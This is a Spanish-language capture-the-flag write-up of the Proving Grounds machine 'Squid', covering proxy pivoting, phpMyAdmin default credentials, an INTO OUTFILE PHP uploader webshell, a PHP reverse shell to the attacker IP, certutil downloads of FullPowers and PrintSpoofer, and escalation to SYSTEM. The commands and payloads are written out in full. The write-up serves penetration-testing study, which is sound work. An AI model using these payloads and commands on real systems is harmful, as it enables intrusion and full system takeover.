the_open_door
café
ESEN

Squid

Proving Grounds PracticeMediaWindows192.168.123.189

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#squid-proxy#proxy-pivot#foxyproxy#wampserver#phpmyadmin#default-credentials#into-outfile#webshell#fullpowers#printspoofer#seimpersonate#oscp
TL;DR. Squid expone poco al exterior, pero el puerto 3128 corre un Squid proxy 4.14. Lo usamos como pivote para escanear los puertos que la máquina solo escucha en local (escaneo por proxy Squid) y descubrimos un WampServer en el 8080 con phpMyAdmin. Entramos con las credenciales por defecto (root sin contraseña) y, sabiendo el document root por un phpinfo(), soltamos una webshell con INTO OUTFILE (webshell con INTO OUTFILE). Eso nos da shell como nt authority\local service, una cuenta de servicio con el token recortado: FullPowers le devuelve SeImpersonatePrivilege (FullPowers) y PrintSpoofer lo convierte en nt authority\system (PrintSpoofer, familia Potato).

Reconocimiento

Escaneo inicial

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido completo de puertos TCP devuelve un conjunto pequeño:

ping -c 1 192.168.123.189
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.123.189
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3128/tcp  open  squid-http
49666/tcp open  unknown
49667/tcp open  unknown
nmap -p135,139,445,3128,49666,49667 -sCV 192.168.123.189 -oN targetedScan
PORT      STATE SERVICE      REASON
135/tcp   open  msrpc        syn-ack ttl 125
139/tcp   open  netbios-ssn  syn-ack ttl 125
445/tcp   open  microsoft-ds syn-ack ttl 125
3128/tcp  open  squid-http   syn-ack ttl 125
49666/tcp open  unknown      syn-ack ttl 125
49667/tcp open  unknown      syn-ack ttl 125

El reconocimiento de versiones confirma SMB de Windows en 135/139/445 y, lo interesante, un proxy Squid 4.14 en el 3128:

3128/tcp  open  http-proxy    Squid http proxy 4.14
|_http-server-header: squid/4.14
|_http-title: ERROR: The requested URL could not be retrieved

SMB no ofrece sesión nula útil y los puertos altos son RPC dinámico. Toda la superficie aprovechable está en ese proxy.

Squid proxy - TCP 3128

Squid es un proxy HTTP de reenvío: acepta peticiones de clientes y las cursa hacia destinos. Si apuntamos el navegador directamente contra http://192.168.123.189:3128 responde con un error de "Invalid URL", porque espera actuar como proxy, no servir contenido propio:

Página de error de Squid: "The requested URL could not be retrieved / Invalid URL" al navegar directamente al 3128

La idea clave es que un proxy abierto puede reenviarnos a destinos que la propia máquina escucha solo en localhost. Es decir, podemos usar Squid para alcanzar servicios internos que el firewall no expone al exterior (escaneo por proxy Squid). Configuramos FoxyProxy en el navegador con un perfil squid_proxy de tipo HTTP, host 192.168.123.189 y puerto 3128; a partir de ahí todo el tráfico del navegador saldrá por Squid:

FoxyProxy con el perfil squid_proxy: Type HTTP, Hostname 192.168.123.189, Port 3128

Descubrir puertos internos a través del proxy

En lugar de probar a mano, un script corto recorre los 65535 puertos pidiéndole a Squid que se conecte a 127.0.0.1:<port> por nosotros y marca los que devuelven 200:

#!/bin/bash
target="192.168.123.189"
proxy="http://192.168.123.189:3128"
max_threads=50

scan_port() {
    local port=$1
    response=$(curl -s -I -L --connect-timeout 2 "$target:$port" --proxy "$proxy" | head -n 1 | cut -d ' ' -f2)
    if [[ "$response" == "200" ]]; then
        echo "[+] Port $port - OPEN"
    fi
}

for i in $(seq 1 65535); do
    scan_port "$i" &
    if [[ $(jobs -r | wc -l) -ge $max_threads ]]; then
        wait -n
    fi
done
wait

El escaneo a través del proxy revela dos puertos que nmap no veía desde fuera:

Salida del script: "Port 3306 - OPEN" y "Port 8080 - OPEN" descubiertos a través del proxy Squid

Starting scan on 192.168.123.189 via http://192.168.123.189:3128...
[+] Port 3306 - OPEN
[+] Port 8080 - OPEN

El 3306 es MySQL y el 8080 un servidor web; ambos solo escuchaban en local, de ahí que no salieran en el escaneo directo.

Explotación

WampServer y phpMyAdmin en el 8080

Con FoxyProxy activo navegamos a http://192.168.123.189:8080 y aparece la página de bienvenida de WampServer (el stack Apache + MySQL/MariaDB + PHP para Windows), versión 3.2.3 con Apache 2.4.46 y PHP 7.3.21:

Página de inicio de WampServer 3.2.3: Apache 2.4 - MySQL 5 &amp; 8 - MariaDB 10 - PHP 5 &amp; 7

La home de Wamp expone sus herramientas, entre ellas un enlace a phpinfo():

Sección Tools de WampServer con phpinfo() resaltado, más phpmyadmin y adminer

y, en la columna de aliases, el acceso a phpMyAdmin:

Sección Your Aliases de WampServer con el alias phpmyadmin resaltado

Dos piezas que, juntas, son una vía de RCE: phpMyAdmin nos da consola SQL y phpinfo() nos dirá dónde escribir en disco.

phpinfo: el document root

Abrimos phpinfo() y buscamos DOCUMENT_ROOT. Wamp sirve desde C:/wamp/www:

phpinfo mostrando $_SERVER['DOCUMENT_ROOT'] = C:/wamp/www y SERVER_SOFTWARE Apache/2.4.46 (Win64) PHP/7.3.21

$_SERVER['SERVER_SOFTWARE']  Apache/2.4.46 (Win64) PHP/7.3.21
$_SERVER['SERVER_PORT']      8080
$_SERVER['DOCUMENT_ROOT']    C:/wamp/www
$_SERVER['SCRIPT_FILENAME']  C:/wamp/www/index.php

Saber la ruta del document root es lo que falta: si conseguimos escribir un .php ahí, Apache lo ejecutará al pedirlo por el navegador.

Credenciales por defecto en phpMyAdmin

phpMyAdmin pide usuario y contraseña. WampServer instala MySQL con la cuenta root sin contraseña por defecto, y aquí no se cambió: entramos con root y el campo de contraseña vacío.

Login de phpMyAdmin con usuario root y contraseña vacía

El login funciona y aterrizamos en el panel como root@localhost sobre un MySQL 5.7.31:

Panel de phpMyAdmin: Server MySQL (127.0.0.1 via TCP/IP), version 5.7.31, User root@localhost, Apache/2.4.46 PHP/7.3.21

Server:          MySQL (127.0.0.1 via TCP/IP)
Server version:  5.7.31 - MySQL Community Server (GPL)
User:            root@localhost
Web server:      Apache/2.4.46 (Win64) PHP/7.3.21

Reutilizar las credenciales de fábrica es lo que abre la consola SQL con privilegios de root, y root en MySQL/MariaDB suele poder escribir ficheros en disco con INTO OUTFILE.

Webshell con INTO OUTFILE

Que root pueda escribir ficheros no significa recordar de memoria la sintaxis del uploader. Una búsqueda rápida ("get shell from phpmyadmin") lleva a un gist muy citado con la técnica:

Búsqueda en Google "get shell from phpmyadmin" con el resultado "Uploading Shell via PHPmyadmin" resaltado

El gist trae el SELECT ... INTO OUTFILE que vuelca un pequeño uploader PHP en disco: un formulario que después nos dejará subir cualquier fichero al servidor (webshell con INTO OUTFILE):

Gist "Uploading Shell via PHPmyadmin" con el SELECT ... INTO OUTFILE 'C:/wamp/www/uploader.php'

Adaptamos la ruta de salida al document root que sacamos del phpinfo() (C:/wamp/www) y lanzamos la consulta en la pestaña SQL de phpMyAdmin:

SELECT "<?php echo '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">';echo '<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>'; if( $_POST['_upl'] == \"Upload\" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Done.<b><br><br>'; }else { echo '<b>Upload Failed.</b><br><br>'; }}?>"
INTO OUTFILE 'C:/wamp/www/uploader.php';

phpMyAdmin devuelve un empty result set: el SELECT no lista filas, pero su efecto secundario (escribir el fichero) sí se ejecuta. La consulta ha creado C:/wamp/www/uploader.php:

phpMyAdmin: "MySQL returned an empty result set (Query took 0.0006 seconds)" con la consulta SELECT ... INTO OUTFILE 'C:/wamp/www/uploader.php'

MySQL returned an empty result set (i.e. zero rows). (Query took 0.0006 seconds.)
SELECT "<?php ... uploader ... ?>" INTO OUTFILE 'C:/wamp/www/uploader.php'

El uploader subirá el fichero, pero necesitamos algo que ejecute código. Para la reverse shell tiramos de revshells.com, eligiendo la plantilla PHP Ivan Sincek para Windows y fijando nuestro LHOST (192.168.45.244) y el puerto 80:

revshells.com "Reverse Shell Generator": plantilla PHP Ivan Sincek, OS Windows, listener sudo nc -lvnp 80, IP 192.168.45.244 puerto 80

Guardamos esa plantilla como rev.php en local, ajustando la IP y el puerto en la cabecera del script:

cat rev.php: reverse shell PHP de Ivan Sincek v2.3, con la clase Shell y los descriptores de pipe

<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    ...

Levantamos el listener y visitamos http://192.168.123.189:8080/uploader.php. El formulario carga (el Notice: Undefined index: _upl es normal: aún no hemos enviado nada), elegimos rev.php y pulsamos Upload:

uploader.php con "Browse... rev.php" seleccionado y el aviso PHP "Undefined index: _upl in C:\wamp\www\uploader.php"

rlwrap nc -nlvp 80

El servidor guarda rev.php junto al uploader y lo invocamos con http://192.168.123.189:8080/rev.php. Apache ejecuta el código y nuestro listener recibe la conexión:

uploader.php muestra "Upload Done." y el listener recibe la shell; whoami devuelve nt authority\local service

connect to [192.168.45.244] from (UNKNOWN) [192.168.123.189] 54474
SOCKET: Shell has connected! PID: 3724
Microsoft Windows [Version 10.0.17763.2300]

C:\wamp\www>whoami
nt authority\local service

Caemos como nt authority\local service, la cuenta con la que Apache corre el servicio.

Post-explotación

Local

type local.txt & whoami & ipconfig & hostname

local.txt leída como nt authority\local service en la máquina SQUID

f7048936920e8f39316f1e3e5116e5d0
nt authority\local service

Escalada: recuperar privilegios con FullPowers

Lo primero al aterrizar en una cuenta de servicio es mirar sus privilegios. Pero el whoami /priv de esta shell viene recortado: solo aparecen SeChangeNotifyPrivilege, SeCreateGlobalPrivilege y SeIncreaseWorkingSetPrivilege. Falta justo el que abre la escalada, SeImpersonatePrivilege, que LOCAL SERVICE debería tener por diseño. Una búsqueda ("windows nt authority local service privilege escalation") apunta directamente a la herramienta que restaura ese privilegio:

Búsqueda en Google con el resultado "itm4n/FullPowers: Recover the default privilege set" resaltado

Cuando un proceso de LOCAL SERVICE arranca fuera de su contexto habitual (aquí, lanzado por Apache), Windows le entrega un token con un subconjunto reducido de privilegios. FullPowers (repo) fuerza la creación de una tarea programada bajo la cuenta completa y nos devuelve un proceso con todos los privilegios que le corresponden (FullPowers). Lo descargamos y lo servimos por HTTP desde nuestra máquina:

wget https://github.com/itm4n/FullPowers/releases/download/v0.1/FullPowers.exe &>/dev/null
python3 -m http.server 8080

Descarga de FullPowers.exe con wget y servidor python3 -m http.server 8080 a la escucha

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Desde la shell de la víctima lo traemos con certutil y lo ejecutamos:

certutil.exe -f -urlcache -split http://192.168.45.244:8080/FullPowers.exe FullPowers.exe
.\FullPowers.exe

FullPowers crea un dummy thread y una tarea programada; "Got new token! Privilege count: 7" y la nueva shell muestra SeImpersonatePrivilege Enabled

.\FullPowers.exe
[+] Started dummy thread with id 620
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK

C:\Windows\system32>whoami /priv
SeAssignPrimaryTokenPrivilege   Replace a process level token       Enabled
SeImpersonatePrivilege          Impersonate a client after authentication  Enabled
SeCreateGlobalPrivilege         Create global objects               Enabled

Ahora el token tiene SeImpersonatePrivilege habilitado. FullPowers no escala por sí mismo; solo restaura el privilegio que la técnica Potato explota después.

SeImpersonate + PrintSpoofer

Con SeImpersonatePrivilege recuperado, la entrada de la familia Potato queda abierta: una cuenta de servicio con este privilegio puede impersonar el token de un proceso SYSTEM al que coaccionamos a conectarse a un named pipe nuestro (abuso de SeImpersonate). Antes de elegir el exploit conviene mirar la versión exacta del sistema:

systeminfo: OS Name Microsoft Windows Server 2019 Standard, OS Version 10.0.17763 Build 17763, System Type x64-based PC

Host Name:      SQUID
OS Name:        Microsoft Windows Server 2019 Standard
OS Version:     10.0.17763 N/A Build 17763
System Type:    x64-based PC

Es Windows Server 2019, donde JuicyPotato ya no funciona (Microsoft cerró el truco del CLSID/DCOM). En cambio PrintSpoofer (repo) abusa del servicio de cola de impresión para forzar esa conexión y sigue siendo válido aquí (PrintSpoofer). Lo servimos y lo traemos igual que antes:

certutil.exe -f -urlcache -split http://192.168.45.244:8080/printspoofer.exe printspoofer.exe

certutil descarga printspoofer.exe ("URLCache command completed successfully") y el http.server registra dos GET /printspoofer.exe 200

CertUtil: -URLCache command completed successfully.

# en el servidor:
192.168.123.189 - - [18/Jan/2026 23:16:01] "GET /printspoofer.exe HTTP/1.1" 200 -

Lo ejecutamos pidiéndole que lance una cmd interactiva con el token robado:

.\printspoofer.exe -i -c cmd

PrintSpoofer encuentra SeImpersonatePrivilege, deja un named pipe a la escucha, CreateProcessAsUser OK y la nueva shell devuelve nt authority\system

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

C:\Windows\system32>whoami
nt authority\system

Proof

type proof.txt & whoami & ipconfig & hostname

proof.txt leída como nt authority\system en SQUID (192.168.123.189)

4285d550a10fe2093c7ac890a7e74f5d
nt authority\system

Cadena de ataque

Squid proxy (3128)  --  proxy de reenvío abierto
        │  escaneo de puertos internos via proxy
        ▼
MySQL (3306) + WampServer/Apache (8080)  solo en localhost
        │  phpMyAdmin con creds por defecto (root / sin pass)
        │  + phpinfo() revela DOCUMENT_ROOT = C:/wamp/www
        │  INTO OUTFILE -> uploader.php -> subir rev.php -> reverse shell
        ▼
shell como nt authority\local service  (local.txt)
        │  token recortado -> FullPowers restaura SeImpersonatePrivilege
        ▼
token con SeImpersonatePrivilege
        │  PrintSpoofer (Windows Server 2019)
        ▼
nt authority\system  (proof.txt)

Lecciones aprendidas

  • Un proxy abierto es un pivote. Squid reenviaba peticiones a localhost, así que los servicios que la máquina escondía detrás del firewall (MySQL y Wamp) quedaron a tiro. Un proxy de reenvío sin ACL es, en la práctica, un agujero en el perímetro.
  • Las credenciales de fábrica siguen siendo el camino corto. WampServer instala MySQL con root sin contraseña; nadie lo cambió. Antes de buscar exploits, probar lo evidente.
  • phpinfo() no es inocuo. Exponer phpinfo() reveló el document root exacto, justo el dato que faltaba para que el INTO OUTFILE cayera en una ruta servida por Apache.
  • La versión manda al elegir el Potato. systeminfo confirmó Windows Server 2019, donde JuicyPotato ya no vale; por eso el vector fue PrintSpoofer. Mirar la build antes de lanzar el exploit ahorra intentos.
  • Token recortado no es token sin privilegios. LOCAL SERVICE parecía inofensivo, pero FullPowers restauró SeImpersonatePrivilege y, con él, PrintSpoofer llevó a SYSTEM. La cuenta tenía el privilegio por diseño; solo había que recuperarlo.
Cheatsheet de comandos 15 comandos

Repaso rápido